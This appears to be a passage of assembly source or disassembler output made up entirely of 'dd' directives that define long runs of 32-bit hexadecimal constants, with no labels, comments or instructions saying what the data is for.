dd 0DF239180h, 4003BC1Bh, 757B981Ch, 0C6D3C3CAh, 0C2CF00D8h
dd 0D874445Ah, 0A5008B82h, 35A489BEh, 0F888D21h, 0DAF56B0h
dd 9E1C8C40h, 1B052847h, 0C20125AAh, 0D65A80FEh, 0DF005986h
dd 0A165AB7Ch, 3F5442E7h, 6807261h, 0B587BCCDh, 0E40055A9h
dd 2913F578h, 0EB123h, 0D0BED6DFh, 0BC3B2BF3h, 9E93D91Fh
dd 30388641h, 0B0215088h, 262B87E4h, 74584Fh, 53D4273Eh
dd 0FFB0CEB5h, 62609200h, 4D838717h, 998E00A6h, 47974630h
dd 0AA4890B3h, 576D001Dh, 0EAD2704Ch, 0B1BD00A1h, 0A9F30A3Eh
dd 4100D531h, 0DCBF1521h, 349F8Dh, 4C2D7E8Bh, 8612C7B7h
dd 82F4B571h, 0B148A01Ch, 0E6C46800h, 0B253A3h, 33EA3C49h
dd 0D0CF8F96h, 28125A00h, 0FE1F62EBh, 1E72ECD4h, 80067E3Ah
dd 42CB7B8Ah, 402943Dh, 502B98B0h, 1B25462h, 0C640141Eh
dd 7D99EC4Eh, 5D05FE78h, 8E93B7D6h, 83534C80h, 20AE24F9h
dd 2A1207A3h, 0A09C17A9h, 0EF0CDF1Bh, 1F2EE7E4h, 0BE1E7FDEh
dd 0F6FBE041h, 30279Eh, 970E0053h, 99819BBDh, 5200FFA3h
dd 0E232631Bh, 254E198h, 44E30334h, 3960DF95h, 65006635h
dd 0FDA7462Ah, 0FE62F1h, 78DCC749h, 77375DB2h, 0C504107h
dd 56848FD0h, 0C71B24C0h, 0D080ED5h, 7A08E47h, 0EC5E9A02h
dd 0F2EBD400h, 9D987E24h, 3C0100EDh, 35403D27h, 0F600B4E0h
dd 33CE7842h, 0B0C3DF1Fh, 849400C8h, 27F2381Ch, 95124BBDh
dd 14009966h, 0A4927865h, 0F198002Ah, 0C91BE68Ch, 0B800746Bh
dd 4D1CCCAh, 342D87h, 9B8A277Fh, 46753026h, 577E0C07h
dd 2FA008B9h, 7704AFE9h, 5F67128Fh, 0FE640A93h, 3B100C1h
dd 0FAC216D1h, 0CF976E00h, 679F513Bh, 851813E0h, 0AA6400E7h
dd 0BEEAB141h, 0CA3F4C26h, 59000026h, 480BCA06h, 0ECD13F89h
dd 428FBD01h, 0EC0CBC9Ch, 0FB39792Ch, 8C118027h, 92B3E1CCh
dd 0D4750042h, 4664BC37h, 0A700351Ah, 0B9C42645h, 137D4318h
dd 0EFBA0870h, 0B284E300h, 9A6BD91h, 0E1ECD4BCh, 93A2B700h
dd 0D2FE02A9h, 92ECD05h, 0C482A55Ch, 8024438Fh, 24064A30h
dd 786AACh, 2E97BB6Fh, 0E20FEB3Bh, 0E0391E3Ch, 13DDB192h
dd 0CD320195h, 6B3F5BE1h, 7C65D4FAh, 31643Fh, 0E63D672Eh
dd 0E2D4B5CAh, 0A1F6003Fh, 5FB92B9Bh, 0A000562Ah, 92D0C0Eh
dd 0EDAF088h, 2A7539Fh, 0DEB38DC0h, 500049C0h, 9ED230A4h
dd 1F0ECAD4h, 5DA8C3h, 7BD87141h, 2F0E67B2h, 802C1A53h
dd 0E6AC8C95h, 0C2AD2612h, 0C0D80062h, 0F53E5C6h, 977B681Eh
dd 1900F61Eh, 0A9829652h, 29310088h, 0BE08A026h, 0E700AE5Fh
dd 3BFBC397h, 7B5E5668h, 0B25045Bh, 80C013F1h, 11C5C83Ch
dd 0E933A400h, 7D9656B1h, 0B5EA00CFh, 0D83EBC30h, 9E01DC4Fh
dd 0FD60E040h, 0A0CB83A2h, 0D9DD7Bh, 633F62B9h, 6AD4CB5Ah
dd 65AD3A00h, 0C5577DB5h, 0FB661D4Ch, 0EE214291h, 0BE60368Ah
dd 0C63DAAF5h, 0B2B300A6h, 0BBAC7583h, 74A916FAh, 565C0077h
dd 0CA2D702Fh, 9C0098B0h, 7F238193h, 99483Dh, 0DECFC0AEh
dd 0F40B63DDh, 68F958h, 0A139E0D7h, 3EEB34h, 0AC7376CBh
dd 0CCF071F7h, 2087F91Dh, 6BD98500h, 0A988E4h, 57C4D50Ch
dd 0A89E7B97h, 55BA4D07h, 240C066h, 281CF67h, 59849C4Bh
dd 9660ED8Ch, 201F28C5h, 15804D85h, 6367C745h, 0D57000EEh
dd 2FC45D44h, 431C25BEh, 0FF00BCE2h, 6F96BB7Ah, 0A8B10F1Eh
dd 0A4207215h, 0EF7390F5h, 0B6506500h, 8E495FBAh, 200200C8h
dd 0FF3FD8Ah, 40008459h, 63514F28h, 38B998BEh, 4E3922BBh
dd 0CF0057BDh, 8CE2DD9Ch, 0AB3C4751h, 80F88561h, 0D480A5ECh
dd 0DB3C5Dh, 0C20DF3C0h, 0AE095C20h, 13FEB71Eh, 31AB1840h
dd 0F3776Ah, 7121E948h, 8EFB4996h, 76B62300h, 510D734h
dd 7D6A009Dh, 0F019BBC8h, 1D072FACh, 0ED1B651Ah, 293BDF40h
dd 5F74008Ch, 7F2007FCh, 840F8D69h, 0E20C9CFBh, 609A57CDh
dd 599C9CCh, 72AD36EEh, 0AB54886Ch, 22084C01h, 574A0B3h
dd 2CCF92ECh, 9A467Ch, 35A5D95h, 0DB0038CDh, 3C59AC8Bh
dd 3B8C3Fh, 8570641Dh, 0AB444283h, 0C04C2C01h, 87E6F650h
dd 0D65C30h, 416C3EE3h, 40C22BDEh, 6826C900h, 16103D34h
dd 46663A8Dh, 1E0AF207h, 5949E0B3h, 0BB0098DCh, 2F1C90D2h
dd 4E4D32h, 0B47681D3h
dd 1651316Bh, 4453080Bh, 0AC78008Ah, 1DA352Eh, 340DC8Dh
dd 0FCF4A5B4h, 0C6725BCEh, 2ECC7700h, 6140279h, 8CCF0022h
dd 7C63DA27h, 0D10EE320h, 60D6FC25h, 8623AF45h, 36B72FBh
dd 3F9C9FD5h, 77AA1EDEh, 7B516155h, 39D7A9Eh, 735DD22Eh
dd 61254DC0h, 5A9751Ch, 7F49AAC3h, 6815D059h, 39D7910h
dd 9739F64Ch, 8394FD9Ch, 0EF882D10h, 3E004950h, 37EC3052h
dd 0E84BEh, 0BBDA9D04h, 0C3477AA2h, 51F9B200h, 1AD9E7C1h
dd 0C6B400E2h, 0A0258397h, 7C022D37h, 69CC1908h, 2A220FEFh
dd 69E0F035h, 7616322Eh, 3800DB9Bh, 5B75586Fh, 0B2810112h
dd 0B4F5A66Ch, 5F003ACEh, 5C91CA43h, 4842F418h, 74701439h
dd 8EBD1366h, 0F8550044h, 49803DB7h, 6B771E00h, 0C7D6F410h
dd 0FF2A0068h, 5F35E3EAh, 56074104h, 47A02340h, 0F134C820h
dd 175E1227h, 0C0145CB7h, 0FBA8EFBCh, 1913EDABh, 4000F2ADh
dd 7266B29Eh, 50578E4h, 0AB38135Dh, 0E02C80F7h, 3B0E68C0h
dd 6089604Eh, 845535A1h, 53860009h, 0F3A37566h, 0D1B0DDCCh
dd 893A5D03h, 0F0178593h, 7BFD2331h, 0E64300BAh, 42D1E5BFh
dd 0D4B011ABh, 5F456D0Fh, 0A3B8A334h, 0F52A981Ah, 931D00CAh
dd 9299751Fh, 0A00F458h, 783A619Ch, 2E44636Bh, 3457C5h
dd 822932C8h, 6D4C7526h, 59007F89h, 33A31012h, 26489CFh
dd 0A60A3EFEh, 0E0E013ACh, 0F10283DEh, 0F2B7BFB3h, 0C7B88730h
dd 0E8EF5432h, 45D310h, 2D07B2D8h, 29842310h, 0BC2A272Eh
dd 6C1B0100h, 80416Dh, 0E131CF4Ch, 22E66C8h, 9FA548C0h
dd 744F6FBEh, 50A86427h, 5A06C025h, 1E0043D6h, 92548BC4h
dd 4DF1F3h, 0A87387E3h, 45D464EEh, 6F242202h, 58EC35CBh
dd 0F54A0538h, 3860A1h, 8C729AD4h, 53003486h, 3F7752C4h
dd 26D8C8h, 23D33045h, 1B078F92h, 0FB655300h, 254E59DCh
dd 0D03400ACh, 0C6B07E7Fh, 0FCE87B4Bh, 3F8AC106h, 18ADEDh
dd 2B9A53D7h, 793970BEh, 3C37A206h, 7219F85h, 730CCA96h
dd 2BAA40DDh, 191E534Eh, 1D40FA21h, 63C63C3h, 0B22A02D7h
dd 48C43834h, 23A62041h, 29211038h, 7C3F2A3Fh, 0BD8A5180h
dd 15EB1124h, 6FCD3Dh, 3096DC45h, 21D95Ch, 0A7BEA3C0h
dd 1FB2FDEEh, 92074001h, 549E5BF2h, 301CE4h, 0BEB7E849h
dd 7ECAAEC6h, 0DDF63400h, 0DB944298h, 2EF90088h, 0F1B85446h
dd 23006B50h, 0B7E43BC3h, 29A4830h, 1AD61099h, 44E08CEEh
dd 3600504Fh, 330FDD28h, 0C846B1h, 0EE1C3DAh, 6BE09B05h
dd 22FDEB03h, 0E8EDE9F9h, 9E519h, 69047C83h, 8155DADh
dd 0BA95D800h, 0EF077DDBh, 0D570168h, 52EC1EFDh, 282620C7h
dd 0F38BD07h, 23F05D51h, 3F059Ch, 0F6DE82A6h, 7FEA87D0h
dd 7B0BD507h, 1360DCF9h, 2EB75C8Bh, 0E388BAh, 0C9337A28h
dd 7D00FB85h, 2539D872h, 4963C0h, 3BEBDD14h, 0A0697E55h
dd 27B26097h, 5E850046h, 439FED2Bh, 0A5030640h, 0DEBB04B8h
dd 0F130B8A7h, 0D79D00E0h, 0FB916662h, 0DDFE8AF8h, 6A3D3707h
dd 61312AC4h, 26C4E05Ch, 0F5F009Dh, 67039163h, 0ECF4307Ah
dd 0A6148A07h, 54101F4Dh, 0FA115h, 7911E62Eh, 4AC59ACCh
dd 2BB3Fh, 0E3EB3BEEh, 716E223h, 0A15C2C45h, 0E6FE7CBh
dd 0F3D812C0h, 0C500D589h, 7EBF71C1h, 91BC28h, 0B46E9522h
dd 0D546A25Bh, 0A963B700h, 819749CBh, 0F5EC00B5h, 660ED860h
dd 0E70040F4h, 5E8176Dh, 15E2BCh, 55A7446Fh, 0DC301E81h
dd 7587A226h, 0BA0A3400h, 2F00620h, 3D270F4h, 0A8835E0Eh
dd 7BE8E48Ah, 0D000704h, 2B6C047h, 63B5CBh, 0E6E1DD31h
dd 18743BD4h, 999AE00h, 0BDD0F794h, 3E7507C3h, 8030E16Ah
dd 0FD5A913Ch, 7646F519h, 0DAEC8618h, 0ACECD9h, 0B41157B6h
dd 5EA3E74Eh, 0A6BA01Fh, 0F81480F3h, 65148A2h, 0C1E53543h
dd 0FB3B18DEh, 0EF74006Ah, 89C41F5Bh, 0D88C0737h, 70885819h
dd 9CB37AA3h, 4DE4BE54h, 7186BF1Fh, 9D4BC500h, 0D9FC0Eh
dd 52BDABACh, 6707516Fh, 40D8F500h, 5B429448h, 0E5DD4C4Bh
dd 40D7F61Ch, 2FB2801Dh, 39DE0D68h, 1542B500h, 0F68B75CBh
dd 8DE318FEh, 8CE07020h, 0AD779E1Dh, 0BD7B6E81h, 99E46973h
dd 0EDCB09Bh, 0A7A3F172h, 0E71C3200h, 890058EBh, 0FE93E61h
dd 2494148Bh, 6E61E6Fh, 0C9F95C7Fh, 0C9869000h, 69259AACh
dd 0D600006h, 3A6D587Bh, 9518CA9Dh, 0DD403697h, 64AC3A51h
dd 80875918h, 78003985h, 7690639Eh, 0C1B7A394h, 2353EAC8h
dd 3EFAE8C9h, 0DE286E79h, 1D73C689h, 0FDB73400h, 0DF705012h
dd 5F9B001Fh, 4495E9C4h, 2B059957h, 0C0A5433Ah, 20D5CC00h
dd 129A8968h, 410FBAE3h, 96BFD6B0h, 9A8404Ch, 0BE0F7938h
dd 8B115CC4h, 0A28A809Bh, 60521E6Ah, 8096E9F7h, 7BF422FAh
dd 6794B700h, 0DAB4417Eh, 0BAA7017Dh, 0F72C5164h, 5A54201Fh
dd 4394C001h, 0FCD21227h, 3FE9CDC4h, 72866134h, 8887DA65h
dd 590036E4h, 114A06E4h, 0F791686h, 7CAAA294h, 0B1F23F46h
dd 5D887E1Eh, 3B2A80B9h, 0E5434DEEh, 8B8100FFh, 288682D1h
dd 6530F048h, 8A743031h, 587062B0h, 0ACA0B295h, 0A8AE58EDh
dd 27E7DC03h, 9072D445h, 956097h, 1219DFBh, 1BF59F78h
dd 41047476h, 0C5480FA5h, 8CDD7C80h, 0EF0B0006h, 76517267h
dd 821DC68Dh, 9800F7E4h, 0BFAB1C9Bh, 0C3CF0175h, 0DAFFA499h
dd 0BEA05562h, 0A149850Dh, 30E38C40h, 1A87E42h, 3C80E4ABh
dd 0C075DB2Ch, 0CB0EE0C2h, 0E51894h, 9F2D7BB3h, 4B2400A8h
dd 6C456660h, 8A012AE7h, 5BAD599Dh, 0B4607D73h, 0D188007Fh
dd 8F1C7A90h, 3D000903h, 22C8C94h, 1E71DFE7h, 0C00624B7h
dd 0CB01D8BAh, 90073E0h, 0D11D1CC9h, 0B03869h, 0B66E4EA5h
dd 2FED6F03h, 6B978200h, 504518FDh, 0CBD30732h, 8949982Bh
dd 4C3C2B00h, 2E00AB99h, 0F54F939h, 355958h, 6855ECEAh
dd 1FDC17E3h, 6343C500h, 0D51CCF19h, 8D4D008Eh, 9F34E2BFh
dd 30909E44h, 6CEFE730h, 663339h, 8BB23ED5h, 7B983C55h
dd 90E9A5Ch, 80E29349h, 0D0927E0Fh, 596900DFh, 83C80E2Ah
dd 400E12D8h, 80B0A161h, 2C6CA549h, 1A9905DDh, 78D6657h
dd 600D58FCh, 0DB4DDC53h, 692339h, 44D1D998h, 3E891DC1h
dd 0F900BB5Ch, 846112F5h, 8276E36Bh, 7917713Fh, 5925C500h
dd 9078DCAh, 0DBCB0088h, 0D2674EC4h, 0A83CB06Ah, 0B4172891h
dd 86B5500h, 0D83EE77h, 8DE70E76h, 88608760h, 0D4FFDF5Ch
dd 44A63D00h, 0A4680EE4h, 28560E4Ah, 0E0A1ADDCh, 0BC5F8201h
dd 46A80068h, 0AF30EEE8h, 0E68E0FDFh, 0CFCBFBA2h, 484DAD00h
dd 20B81D36h, 39DF9C9Ah, 0B4D42AC0h, 0F51E5ADh, 67361BEDh
dd 4A6A9E00h, 0E6243C4Fh, 6D01905Ah, 98057CF1h, 388DF0h
dd 0ED443089h, 0F0637B0h, 406E1200h, 519BA266h, 59E80350h
dd 46CC74A9h, 0A63C17A8h, 0FDEC8707h, 80FA69DCh, 80BE780Fh
dd 5C8E9F1Ah, 0E12F0093h, 0EF26CF2Eh, 0C801F9E6h, 0ECC0BD82h
dd 0E7FCA554h, 9EAA3EFBh, 0CC0BD258h, 3802F64Bh, 80C0BF12h
dd 60009986h, 6EEE2A76h, 595B7D68h, 0CD3C50AFh, 3F4B1B89h
dd 0F20CC030h, 0E1DC941Eh, 7918B21Dh, 0FF0D19h, 0CFC05C46h
dd 0AA66EA96h, 0DE9D9A0Ch, 426051B6h, 5F810B6Fh, 0C04420ACh
dd 710134D1h, 0A440B2DBh, 500400E8h, 77FE31F4h, 6307A9D8h
dd 0AA265D8Bh, 67F9600h, 0CC30C0BCh, 80EAA692h, 3D614D3Eh
dd 918E058h, 1DF2B34Bh
dd 89FF24FBh, 1CA363C6h, 0A0C81C29h, 0A30C0A59h, 0C9849248h
dd 0CB53005Bh, 0DE833147h, 4578232Dh, 24C96600h, 0B342E341h
dd 27A9005Fh, 781BB49Bh, 13006E86h, 0B9206D8h, 0B9E105h
dd 0A5B8CD48h, 0D73C5643h, 0F0B096E8h, 41581C18h, 0CABE5F9h
dd 4A525B02h, 69010E10h, 945C81F5h, 8DF007EEh, 1ACF00E9h
dd 9D53D4BCh, 0C800C675h, 770E63AFh, 97A70EDh, 25FB02E5h
dd 0C0BD8425h, 4FFFDEC8h, 11B18230h, 0BF5980h, 0DBC9306Eh
dd 85FEC867h, 0D11958h, 0A22423ECh, 0C3D695h, 506330EAh
dd 875702E2h, 0F686E700h, 5BC038D0h, 37F3000Bh, 0F4E8EDE3h
dd 2807881Fh, 0B60ACA97h, 1899CDD0h, 452C03EEh, 0DE64DC1Bh
dd 0BD28E5D8h, 699DC60Bh, 99E00003h, 92B78Dh, 0C8CB4274h
dd 0F4E7375Bh, 820004E6h, 0A2262A94h, 577234h, 882CEA1Dh
dd 530D90C1h, 0B393DE09h, 3EAC2049h, 77FB6195h, 0BF2D050Eh
dd 9044F24Bh, 6D9273BCh, 6B0D4315h, 699600B8h, 3819CF7Ah
dd 0B4E00C7h, 0FB35A93Dh, 0D51C4716h, 0DA4062D7h, 0A7F466B0h
dd 325A5C57h, 7F043F00h, 0EA0668F6h, 394CF000h, 88DE098Dh
dd 2A4A07D9h, 0D09A3074h, 14AD9C71h, 9CA6E63Fh, 20C0C0B4h
dd 621C7779h, 98752C0Ah, 6B440F80h, 0CB8B2FEFh, 0B0D7D600h
dd 30EFE143h, 3400DDEEh, 3CBD65F6h, 2C30E8A4h, 80DC82B1h
dd 637025A3h, 1200CB41h, 0AFF35E44h, 0C718F9h, 6937D36Ch
dd 9CEC9864h, 0D47D901h, 1F238B8Dh, 7700DC28h, 46A556B1h
dd 8E13BD5Bh, 9000516Bh, 9D98366h, 22B900EFh, 93F54ABBh
dd 7006D5Ah, 0A42D5996h, 3E0E3848h, 0B1839889h, 204AD6C7h
dd 0ED42A890h, 0DFC46F13h, 0E691D801h, 0DBC0BCF4h, 0B27B3912h
dd 3500A23Eh, 8B25DA1Dh, 0BA00F9E8h, 787CE0DCh, 7E50B22Ch
dd 0CEA30308h, 6ACB4FCCh, 7D0F88D0h, 95E1F407h, 0E870AEB8h
dd 0E6BE936h, 0B079487Bh, 4A1CBD80h, 0BF051D69h, 0E1BB9E2Dh
dd 0FB53C480h, 2CC80271h, 0B088AE4h, 0E47925E1h, 0C928D6BFh
dd 0D803C493h, 0CAE25CABh, 0BCC29B0Eh, 9F02CFA8h, 89A90653h
dd 129826C3h, 0CB012460h, 81C43E65h, 5C645F51h, 0E63600FEh
dd 0CCDE1AD8h, 0CE50D46Eh, 0B51063C4h, 91C19790h, 0EEE3573Bh
dd 6800A450h, 0E7233FFEh, 0B942D1h, 4BF40B40h, 0B4798E73h
dd 61CDE800h, 22847E91h, 510E3EA6h, 5E483DFAh, 0FE5C8680h
dd 2EE61EA7h, 0F2A64F07h, 8017D170h, 3BF77770h, 95D75CE9h
dd 0C2F13400h, 15EC8B3Ah, 83E1DE38h, 234B1184h, 0F67801C5h
dd 655DE7C7h, 0FA1830C4h, 2DDB1C1Eh, 54C8AF3Ch, 482EFBh
dd 627D54DAh, 99035997h, 0F618445Eh, 428DF89Ch, 87D2002Eh
dd 8A648234h, 0C4631C22h, 0F8ABECAEh, 0C9FFE0h, 0B25C83AEh
dd 0A3E62D53h, 16C0E900h, 2B2E8A88h, 75731335h, 0A5140011h
dd 70E51387h, 85B6BE00h, 20D333A7h, 71E0005Ah, 918236F0h
dd 6B009E10h, 8C48BE09h, 3E9E4EDh, 0BF77CA57h, 0A4D8E84Dh
dd 0FD0880C0h, 17247h, 9B715E8Fh, 0A812ED8Dh, 4C8093DFh
dd 0F44F6Dh, 827B3A3Dh, 1A1615F9h, 2BAF4Ch, 0D2E167A5h
dd 4A08F6h, 30E3047Fh, 0AE365DA0h, 0A476CD00h, 97F4811Bh
dd 509660EBh, 6BBBE028h, 44B1BFF8h, 3EF2E80h, 98D911h
dd 20B9362Dh, 0F554B430h, 0D0008E73h, 95F12F60h, 1C751B7h
dd 6EEB28B6h, 24249DBCh, 45203330h, 0C6600040h, 0E3014E78h
dd 5B0E5F65h, 0E0E5D930h, 4F1EB30Bh, 8C5A3026h, 3D799690h
dd 3819F39h, 874C1FDEh, 0EED0E03Ch, 91D50012h, 3156A96Ch
dd 0D80022A0h, 0F1C7927Ah, 0E40D374h, 0BDE491BBh, 0B57B45E0h
dd 370096DFh, 3CB42BF2h, 5CF107E9h, 0A000FE9Fh, 113B5D9Ch
dd 8F00C21Ah, 424507Fh, 0FC018E8h, 8303E4FDh, 4EB0C540h
dd 3801BE23h, 49AFBA05h, 0B7C83ED8h, 0E61800AEh, 4795DC98h
dd 541F6ADDh, 8C8083CBh, 4BBBB5BAh, 87710EB7h, 26A2D914h
dd 0E440CCF4h, 0A00ACB2h, 32C151A6h, 90069D89h, 5F0D0028h
dd 0F4B86DEFh, 8F728C0Eh, 7BA9AA00h, 5D54C999h, 0E3E900CAh
dd 0D765A1C6h, 2303590h, 0E022D68Bh, 0C0F50027h, 0D8680C41h
dd 3B703624h, 0F7762890h, 7BE3944h, 96C8AC74h, 124AC149h
dd 47F1E4E7h, 0D667C200h, 533280F5h, 0CB190055h, 0E62B4901h
dd 413A847Ah, 0A500F890h, 865EA47Ch, 29B8867h, 122F43A7h
dd 0FF8042F8h, 0BFD79089h, 0B0E00100h, 0C553AE1Dh, 0EFBB074Fh
dd 0F2A92102h, 88C05E42h, 310B6906h, 0A1FC87B8h, 23CAD324h
dd 0FE93D30h, 372759B3h, 8176F2C0h, 0E53ADFA6h, 3A549FBAh
dd 0EEF408C0h, 0B2FA51F3h, 9C7524h, 40AEEFC5h, 0B127A61Ah
dd 7794F326h, 9D808527h, 22EE85C0h, 7F5B16C5h, 42801D0Ah
dd 94F5493Eh, 3FF7C400h, 4AF62CAFh, 0C3308130h, 0E4934D62h
dd 7901B55Dh, 2FBD3DEAh, 3FCB064h, 0FBD83CF3h, 47F1A51Ch
dd 33924BC5h, 7AF872DEh, 8C90CA99h, 0E4E9B702h, 0E8DB2E2Ch
dd 0A5F7E8h, 0B4984245h, 698E5414h, 0CEC0D4E4h, 9E4F58CBh
dd 0B7DE1CD0h, 2A8AE6Dh, 45BA0382h, 8B68E3E0h, 0F535FA00h
dd 8CE2623h, 4C7700D9h, 0A105638Eh, 2B008C28h, 0AB818701h
dd 0AF346Ch, 0A583609Bh, 27954740h, 7CB75403h, 0E0EE21B5h
dd 2C8501D3h, 0CA81E0h, 0DFB2729Dh, 0B03BB8FDh, 3CC380F6h
dd 4E94C80Bh, 0B1D807A8h, 0F09E2C98h, 14BAE203h, 102DB930h
dd 72041Dh, 91736CD2h, 2E1F1917h, 0A80045E0h, 0C17079F2h
dd 0FCF5023h, 0C9618AEBh, 2812FA40h, 490018D6h, 7EB4CAFEh
dd 0D03F01h, 6BA03B90h, 0DB29FD99h, 0A688000h, 0E8482AC8h
dd 0DFCF0127h, 0C40CFCC6h, 309847CEh, 0E019B888h, 0C0426400h
dd 0C1985894h, 28D9007Ch, 5505FCE2h, 0E15DBDABh, 2953006Ch
dd 0C1A019A6h, 3E8F00C3h, 0EA68D26Ah, 17178FCh, 0E329420Eh
dd 0B3383836h, 0B728Eh, 0FA0F515h, 0A2D99009h, 7CB26B00h
dd 8644E7B0h, 0FA5F06Ch, 0C4C62292h, 3D9594A0h, 0DF0246F7h
dd 3BD9B8E9h, 0B3FA80EAh, 163F40ADh, 0F8439Bh, 10B73CEh
dd 2C00D8B0h, 69659D86h, 2DAB144h, 0E309C27Ch, 3541538Bh
dd 0CD46ECEBh, 8FA3710Eh, 0E51EA74Dh, 0EC3001F0h, 58586114h
dd 0CCB209E8h, 5200F95Bh, 197BEA90h, 629685h, 367769F8h
dd 0F64D077Ah, 1AEBA50Fh, 10FEE051h, 0C9D331h, 0C60CDDFBh
dd 62A02FD1h, 6D483800h, 18B6308Fh, 1F3A9015h, 80FB8B57h
dd 3D553C1Eh, 71000602h, 4CF31BFDh, 9AB23Ah, 4987941Ah
dd 1162A39h, 0E33C8D0Eh, 0C0D34002h, 0E0230B43h, 0ACC8004Ch
dd 4F21A058h, 8F001B9Fh, 0F112C217h, 305BD5B5h, 88C870E3h
dd 0C11869F2h, 9D10717Eh, 4A28000Ch, 8FEDD0F1h, 9F00A1E7h
dd 0B2C85B55h, 0EE3ED17Fh, 36B0349h, 0ADA03506h, 0DF1AE5F0h
dd 0A28DB118h, 9436C0h, 3C43975Dh, 0A0850A2Fh, 0E072660Eh
dd 0D909E1h, 6842F283h, 3FE50CA3h, 0CB817487h, 3AF6EE01h
dd 39C7BEFBh, 0E480A370h, 0B87D0F31h, 9240A441h, 8D865B9Bh
dd 0F068AC03h, 0ADB96Dh, 22FD3278h, 7F579CA5h, 81D16700h
dd 0C7B38ED6h, 4F83000Eh, 856529AFh, 0B7072086h, 8247E0C5h
dd 0B1C0E724h, 89D85Ch, 189699BAh, 8F858458h, 91367618h
dd 38D0A03Ch, 0DC0007B1h, 48FD51AAh, 83789709h, 0A908D800h
dd 0B4637BF0h, 1880EFF3h, 0B1320346h, 0C9FA22F5h, 6B67D500h
dd 0F4D7AE21h, 29206045h, 3C9975FBh, 0F39CA400h, 0D26C373Bh
dd 58710057h, 557F1C34h
dd 0B31F504Fh, 8600C256h, 0E797CFEDh, 0C3E2008Bh, 11823C96h
dd 0E609EA64h, 279CD3h, 85038FA4h, 305A00B9h, 684F8C9Eh
dd 0D91E6ED1h, 0BFC0FE62h, 88E9473Fh, 0AFEF0075h, 0A86D737Ch
dd 0F008AADh, 12A77740h, 515445h, 0AE80B265h, 0C9D76972h
dd 91DCB700h, 0BEE2A53h, 0DBAA00D1h, 0F90A8189h, 0CD3FEA7Ah
dd 0D73E8077h, 0F1037F24h, 86FA009Bh, 0F9A89E1Eh, 63785A67h
dd 0BEE10D00h, 62AFD626h, 0E2EC0244h, 0A5FDD450h, 16FA1140h
dd 96016000h, 73FC5D45h, 88E600ACh, 9A6E89A8h, 5B020D71h
dd 2A3AD6DCh, 0F96E60D8h, 494F00B2h, 0FE1BB8B4h, 7000153h
dd 4148EB78h, 1B50796Eh, 7061D488h, 0B9160BA8h, 0E8E21100h
dd 0B21D6C94h, 9D0600C1h, 0A08DF92Fh, 0C507DECDh, 0EF07A5AFh
dd 0C8E9B360h, 730901C1h, 8E4887DCh, 8302EC9Eh, 34461700h
dd 4538F66Dh, 682500ECh, 15DAB2F4h, 1F059D8Ch, 5E0CF7E8h
dd 45044404h, 21230820h, 1B12811Dh, 69B8D3C0h, 196CC54h
dd 1FA28ED0h, 8FF4F6F3h, 805CD718h, 0C9A0C0C8h, 0A87D064Ah
dd 397FD048h, 169FE4E7h, 86084100h, 15545540h, 0E7D00026h
dd 3BAA5FE4h, 4E7A307Eh, 3D98371Eh, 0B253B1C0h, 4AA4C0h
dd 8F0656C7h, 0BF6D501Bh, 0AA6C7300h, 0C204922h, 23C300Dh
dd 0DAB98F68h, 5ED1BD07h, 4EC085C9h, 65DE73BEh, 83B12001h
dd 0E4E0F3ACh, 33C52B0h, 4989803Ah, 14ED36C1h, 24A81EA5h
dd 8D6E406Fh, 0CF5A0AE3h, 94C5B828h, 6776811Eh, 217ABC00h
dd 1C2BF4ACh, 5DD2C690h, 0DE270216h, 1863C87Fh, 0F67A7004h
dd 8B4A66h, 224BE20Ah, 2FE100B0h, 635DB4BAh, 8048FF00h
dd 0CBE4151Eh, 30A03C8Ch, 2854B101h, 60AB0921h, 200DA23h
dd 3D7D1842h, 4C2FE38Ah, 0ED00490Fh, 5D4D230Ch, 9E1FF781h
dd 861411FCh, 0C5EBB540h, 0AC3C0005h, 8CF7C679h, 0A42DE712h
dd 0F2923400h, 1D73CE61h, 5E076C70h, 323EBE77h, 5A319680h
dd 89B932Bh, 0EDD4A450h, 0C6B62100h, 378A6C17h, 424A1871h
dd 7A1FBA1Dh, 3D088609h, 6808200Ch, 715A275h, 4AFBA478h
dd 318D1ABh, 0AEFE60EDh, 0BCB87B0Fh, 30D0CC7Eh, 16AA00C3h
dd 0E85E22E9h, 0A03FB2E5h, 4356000Ch, 0B668B4DBh, 0E8FBFB2Ch
dd 50138723h, 0A0E0DAh, 3DB3862Eh, 0B0EF1448h, 0F5210600h
dd 1591FACFh, 7ED5388Eh, 0DD000F48h, 3A1A556h, 381321ACh
dd 7407ABB1h, 67108C37h, 14354936h, 0B0B7896Bh, 0FCC50C00h
dd 0DE63841Fh, 0A4C35A09h, 24A82782h, 88956113h, 1A245F1h
dd 18D7C72Dh, 0C0A5FF42h, 8800A412h, 790CFBC3h, 35F45C2h
dd 35605D70h, 0A800E19Fh, 38F919DCh, 12A3BDAh, 0F7932168h
dd 0ECE36010h, 27C9F7Ch, 0F8733200h, 3FEAA1D4h, 7D6A036Eh
dd 0C6CB578Eh, 0E8F922C0h, 38820330h, 0B219795h, 0A89CC0C7h
dd 627E5C00h, 6F2EFC8h, 4BA99100h, 5ACB6A69h, 475D285Fh
dd 0AC630080h, 92B97F90h, 1B0278E2h, 8F624584h, 4DCC80BFh
dd 0B01A7CD1h, 0D07520h, 0BA58C224h, 0EE9AA63Ah, 0FB9B1902h
dd 401D8005h, 9EE4F5h, 0BF39CCBDh, 698F26F3h, 1A0AA500h
dd 5D9FBBD9h, 0DDEC000Fh, 46EB8AF9h, 92000155h, 71632CC9h
dd 28ED9E07h, 0B4F851h, 0CB77D1C1h, 0B1611F1Bh, 20AB991Fh
dd 20D2BA89h, 4A6B72C0h, 2D19008Ah, 8211C65Fh, 0A4492484h
dd 980800A8h, 78A613FEh, 23880048h, 77939B61h, 9E01F2C5h
dd 0B3D25D4Ch, 0AC2449F1h, 0DE4087FBh, 61182CB7h, 201320DBh
dd 43A83023h, 297F4207h, 1694CDEDh, 0F785B4C0h, 0E4DC009Bh
dd 7136DAFCh, 349226BFh, 36457B38h, 26D8694Dh, 0C0447FBCh
dd 61A80C7Eh, 802D5D3Eh, 42F54043h, 189F28ABh, 90CB463Eh
dd 0EB06D9BAh, 2C9DB27Dh, 0D1300048h, 9B37B6A6h, 29DE3252h
dd 0DA07D516h, 97A0089Fh, 143814Ah, 0FC656BBAh, 82DFD01Bh
dd 0C2375428h, 0C0B08A9Bh, 1225B9BFh, 0D000E7A4h, 2EB724C9h
dd 1BE402EAh, 12FAC24Ah, 4DABCC48h, 28E3E906h, 0D8FF6Ch
dd 0AFDB48D7h, 0A72CCDF9h, 0A4D67B0Eh, 6E27A30Ch, 0F390046h
